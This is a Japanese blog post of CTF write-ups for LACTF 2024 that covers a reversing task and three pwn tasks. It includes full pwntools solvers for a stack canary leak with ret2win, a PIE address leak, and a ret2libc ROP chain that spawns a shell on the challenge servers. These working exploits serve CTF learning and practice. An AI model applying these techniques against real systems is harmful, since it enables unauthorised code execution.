LoginSignup
3
0

LACTF 2024 - Writeup

Last updated at Posted at 2024-03-04

初めに

本記事はLACTF2024のWriteupになります。
pwnとrevの記事です。
備忘録デス。

スクリーンショット 2024-03-03 225058.png

rev/aplet321

バイナリが渡されるのでGhidraで見る。
image.png
prettyの回数がiVar5pleaseの回数がiVar4になるので、以下が満たされるように連立方程式すればいい。

iVar5 + iVar4 == 0x36
iVar5 - iVar4 == -0x18

Var4 = 39, Var5 = 15となる。また、flagの文字があるかどうかも見ているのでペイロードとしては以下を送ればいい。

flagprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease

スクリーンショット 2024-02-17 201538.png

pwn/aplet123

以下コードとバイナリが送られてくる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

void print_flag(void) {
  char flag[256];
  FILE *flag_file = fopen("flag.txt", "r");
  fgets(flag, sizeof flag, flag_file);
  puts(flag);
}

const char *const responses[] = {"L",
                                 "amongus",
                                 "true",
                                 "pickle",
                                 "GINKOID",
                                 "L bozo",
                                 "wtf",
                                 "not with that attitude",
                                 "increble",
                                 "based",
                                 "so true",
                                 "monka",
                                 "wat",
                                 "monkaS",
                                 "banned",
                                 "holy based",
                                 "daz crazy",
                                 "smh",
                                 "bruh",
                                 "lol",
                                 "mfw",
                                 "skissue",
                                 "so relatable",
                                 "copium",
                                 "untrue!",
                                 "rolled",
                                 "cringe",
                                 "unlucky",
                                 "lmao",
                                 "eLLe",
                                 "loser!",
                                 "cope",
                                 "I use arch btw"};

int main(void) {
  setbuf(stdout, NULL);
  srand(time(NULL));
  char input[64];
  puts("hello");
  while (1) {
    gets(input);
    char *s = strstr(input, "i'm");
    if (s) {
      printf("hi %s, i'm aplet123\n", s + 4);
    } else if (strcmp(input, "please give me the flag") == 0) {
      puts("i'll consider it");
      sleep(5);
      puts("no");
    } else if (strcmp(input, "bye") == 0) {
      puts("bye");
      break;
    } else {
      puts(responses[rand() % (sizeof responses / sizeof responses[0])]);
    }
  }
}

ret2winの問題に見える。
image.png
Canaryが効いているのでBypassのためにCanary leakが必要になる。
image.png
入力に対して何やら文字列を返す。さっきのリストから返しているのもあれば条件分岐でi'mの次の名前を返すものもある。
リークの脆弱性があるのは以下のコードです。

printf("hi %s, i'm aplet123\n", s + 4);

sのポインタから4バイト分先の文字列を返す。また、printfはnullがくるまで文字を返すので、このようなaaaa(stackまで一杯)aaaai'mといったpayloadが考えられる。文字列調整すればCanaryの値がリークできる。
Canaryの先頭は\x00であることを考慮して以下の計算ができる。

input_buf: 64
canaryまでのバイト: 8

64 + 8 - 4 + 1(canary先頭のnullバイトを避けるため) = 69

よってaを69個用意してその後ろにi'mを乗せればcanaryの後半7バイトリークできる。
大体試すときはPythonのインタプリタモードが役に立つ。
image.png
実際に投入する。
image.png
canaryリークできてる。これを使ってBypassし、ret2winするだけ。
以下はsolverだ。最後にbyeを打ってloopを抜けることを忘れないようにしないといけない。

from pwn import *

context.log_level = "debug"
context.kernel = "amd64"

binfile = './aplet123'

rhost = 'chall.lac.tf'
rport = 31123


gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p
  
p = conn()
p.sendlineafter(b'hello', b'a'*69+b"i'm")
p.recvuntil(b'hi ')
canary = b'\x00' + p.recv(7)
p.recvuntil(b'aplet123')

print("canary: " + hex(unpack(canary)))

p.sendline(b'a'*72+ canary + b'a'*8 + pack(elf.symbols['print_flag']))
p.sendline(b'bye')

p.interactive()

スクリーンショット 2024-02-17 222826.png

pwn/52-card-monty

以下コードとバイナリが与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define DECK_SIZE 0x52
#define QUEEN 1111111111

void setup() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  srand(time(NULL));
}

void win() {
  char flag[256];

  FILE *flagfile = fopen("flag.txt", "r");

  if (flagfile == NULL) {
    puts("Cannot read flag.txt.");
  } else {
    fgets(flag, 256, flagfile);
    flag[strcspn(flag, "\n")] = '\0';
    puts(flag);
  }
}

long lrand() {
  long higher, lower;
  higher = (((long)rand()) << 32);
  lower = (long)rand();
  return higher + lower;
}

void game() {
  int index;
  long leak;
  long cards[52] = {0};
  char name[20];

  for (int i = 0; i < 52; ++i) {
    cards[i] = lrand();
  }

  index = rand() % 52;
  cards[index] = QUEEN;

  printf("==============================\n");

  printf("index of your first peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 1: %lu\n", cards[0]);

  printf("==============================\n");

  printf("index of your second peek? ");
  scanf("%d", &index);
  leak = cards[index % DECK_SIZE];
  cards[index % DECK_SIZE] = cards[0];
  cards[0] = leak;
  printf("Peek 2: %lu\n", cards[0]);

  printf("==============================\n");

  printf("Show me the lady! ");
  scanf("%d", &index);

  printf("==============================\n");

  if (cards[index] == QUEEN) {
    printf("You win!\n");
  } else {
    printf("Just missed. Try again.\n");
  }

  printf("==============================\n");

  printf("Add your name to the leaderboard.\n");
  getchar();
  printf("Name: ");
  fgets(name, 52, stdin);

  printf("==============================\n");

  printf("Thanks for playing, %s!\n", name);
}

int main() {
  setup();
  printf("Welcome to 52-card monty!\n");
  printf("The rules of the game are simple. You are trying to guess which card "
         "is correct. You get two peeks. Show me the lady!\n");
  game();
  return 0;
}

これもret2winぽい。
image.png
これもCanaryリークでのBypass問題かな。
このコードで脆弱なのはこの部分だ

#define DECK_SIZE 0x52

cardsのBufサイズは52なのに対して、leak = cards[index % DECK_SIZE];cards[index % DECK_SIZE] = cards[0];で利用しているDECK_SIZEは0x52なので、82個分のインデックスが参照できる。
どこにcanaryがあるか53から順番に試すと55にCanaryの文字列があった。
image.png
image.png
ここら辺は先頭が\x00バイトなのでわかりやすい(リトルエンディアンで逆順)
ただこれで終わりではありません。PIEENABLEDなので、winの関数のアドレスがローカルで実行時と異なります。以下のようなアドレスは使えません。
image.png
なので、元のmainに戻るreturnアドレスを2つ目のリークで見る必要があります。これは57でリークできました。
image.png
image.png
このアドレスをmain関数から探すと以下のようにmov eax,0x0の部分になります。
image.png
相対アドレスは変わらないのでhex(0x000055555555567e - 0x000055555555564e)した0x30分をリークしたアドレスから引けばmain関数のアドレスとなります。同様にwin関数もすればいいです。
image.png
image.png
0x445分引けばいいですね。あとはret2winすればいいです。
以下がSolverです。

from pwn import *
import time

context.log_level = "debug"
context.kernel = "amd64"

binfile = './monty'

rhost = 'chall.lac.tf'
rport = 31132


gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p
  
p = conn()
p.sendlineafter(b'first peek?', b'55')
p.recvuntil(b'Peek 1: ')
canary = int(p.recvline()[:-1].decode())

print("canary:  " + hex(canary))

p.sendlineafter(b'second peek?', b'57')
p.recvuntil(b'Peek 2: ')
main = int(p.recvline()[:-1].decode())
win = main - 0x445

payload = b"a"* 24
payload += pack(canary)
payload += pack(0x7fffffffe150)
payload += pack(win)

p.sendlineafter(b'Show me the lady!', b'1')

p.sendlineafter(b'Name: ', payload)

p.interactive()

スクリーンショット 202011132.png

pwn/sus

以下のコードと、バイナリ、Dockerfileが渡される。

#include <stdio.h>

void sus(long s) {}

int main(void) {
  setbuf(stdout, NULL);
  long u = 69;
  puts("sus?");
  char buf[42];
  gets(buf);
  sus(u);
}

checksecで確認します。
image.png
ROP問の匂いがします。とりあえずReturnまでのアドレスを調べます。
image.png
image.png
image.png
簡易に72バイト分埋めればいいのが分かるので便利ですね。
とりあえずこのアドレスを埋めた後のGadgetを探します。

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ROPgadget --binary sus              
Gadgets information
============================================================
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010bb : add bh, bh ; loopne 0x401125 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040119d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401088 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x000000000040119e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040112a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x000000000040119f : add byte ptr [rax], al ; leave ; ret
0x000000000040108a : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040112b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004011a0 : add cl, cl ; ret
0x00000000004010ba : add dil, dil ; loopne 0x401125 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401127 : add eax, 0x2f03 ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401128 : add ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x0000000000401010 : call rax
0x000000000040114d : clc ; nop ; pop rbp ; ret
0x0000000000401143 : cli ; jmp 0x4010d0
0x0000000000401140 : endbr64 ; jmp 0x4010d0
0x0000000000401149 : in eax, 0x48 ; mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010b5 : je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f7 : je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040114c : jge 0x401146 ; nop ; pop rbp ; ret
0x000000000040103b : jmp 0x401020
0x0000000000401144 : jmp 0x4010d0
0x00000000004010bc : jmp rax
0x00000000004011a1 : leave ; ret
0x00000000004010bd : loopne 0x401125 ; nop ; ret
0x0000000000401126 : mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret
0x000000000040114b : mov dword ptr [rbp - 8], edi ; nop ; pop rbp ; ret
0x000000000040119c : mov eax, 0 ; leave ; ret
0x0000000000401148 : mov ebp, esp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x00000000004010b7 : mov edi, 0x404028 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040114a : mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x0000000000401147 : mov rbp, rsp ; mov qword ptr [rbp - 8], rdi ; nop ; pop rbp ; ret
0x000000000040114e : nop ; pop rbp ; ret
0x00000000004010bf : nop ; ret
0x000000000040113c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010d0
0x000000000040108c : nop dword ptr [rax] ; ret
0x00000000004010b6 : or dword ptr [rdi + 0x404028], edi ; jmp rax
0x000000000040112d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004010b8 : sub byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401125 ; nop ; ret
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010b3 : test eax, eax ; je 0x4010c0 ; mov edi, 0x404028 ; jmp rax
0x00000000004010f5 : test eax, eax ; je 0x401100 ; mov edi, 0x404028 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 65

何もなさすぎます。何も組めない。
まぁ次はシンボル見てみます。
image.png
使えるのはこんな感じ。libcからリークする感じかな?といってもレジストリに値叩き込めないし、スタック実行も禁止されてるしどうするん?

とりあえずlibcリークのためにlibcを取ってきたいので、Dockerファイルの中身を見ます。

FROM pwn.red/jail

COPY --from=debian@sha256:36a9d3bcaaec706e27b973bb303018002633fd3be7c2ac367d174bafce52e84e / /srv
COPY sus /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN chmod 755 /srv/app/run

マルチステージビルドみたいなことしてる。
なので使用している共有ライブラリは普通の階層にないです。/srv階層にいます。
dockerビルドとマウントして取り出します。

docker build -t sus .
docker run -v /home/kali/Downloads/app:/home -it sus /bin/sh

以下の階層から引っ張ってきます。
image.png

/srv/lib/x86_64-linux-gnu # cp libc.so.6 /home/
/srv/lib/x86_64-linux-gnu # cp ld-linux-x86-64.so.2 /home/
/srv/lib/x86_64-linux-gnu # 

このライブラリを使用するためにパッチを当てます。
image.png

ここからバイナリコネコネ遊戯を開始する。何も思いつかないので動的解析します。
ret直前の状態を調べるために8バイトずつ叩き込みました。
スクリーンショット 2024-03-04 214553.png
image.png
RDIRSIに入力文字が入っているのが分かる。
なので引数はスタックに積む方針で良さそう。
後はputからlibcのアドレスリークさせてmainを再度実行させて、libcからsystemを呼び出す。
以下がSolverだ。

from pwn import *

context.log_level = "debug"

binfile = './sus_patched'

rhost = 'chall.lac.tf'
rport = 31284

gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf
libc = elf.libc


def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p

ret = 0x0000000000401016

p = conn()

rop=ROP(elf)
rop.raw(b'A'*8)
rop.raw(b'B'*8)
rop.raw(b'C'*8)
rop.raw(b'D'*8)
rop.raw(b'E'*8)
rop.raw(b'F'*8)
rop.raw(b'\x00'*8) #RSI
rop.raw(pack(elf.got['setbuf'])) #RDI
rop.raw(b'I'*8) #RBP
rop.raw(pack(elf.sym['puts']))
rop.raw(pack(elf.sym['main']))

p.sendlineafter(b'sus?\n', rop.chain())
setbuf =  unpack(p.recvline()[:-1].ljust(8, b'\x00'))
print("setbuf: " + hex(setbuf))

libc.address = setbuf - libc.symbols.setbuf
print(hex(libc.address))

rop2=ROP(libc)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8)
rop2.raw(b'\x00'*8) #RSI
rop2.raw(next(libc.search(b'/bin/sh\x00'))) #RDI
rop2.raw(b'\x00'*8) #RBP
rop2.raw(pack(ret))
rop2.raw(pack(libc.sym['system']))

p.sendlineafter(b'sus?\n', rop2.chain())

p.interactive()

Stack調整でretを挟んでます。本番はlibc間違って死にました。
スクリーンショット 2024-02-19 110618.png

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0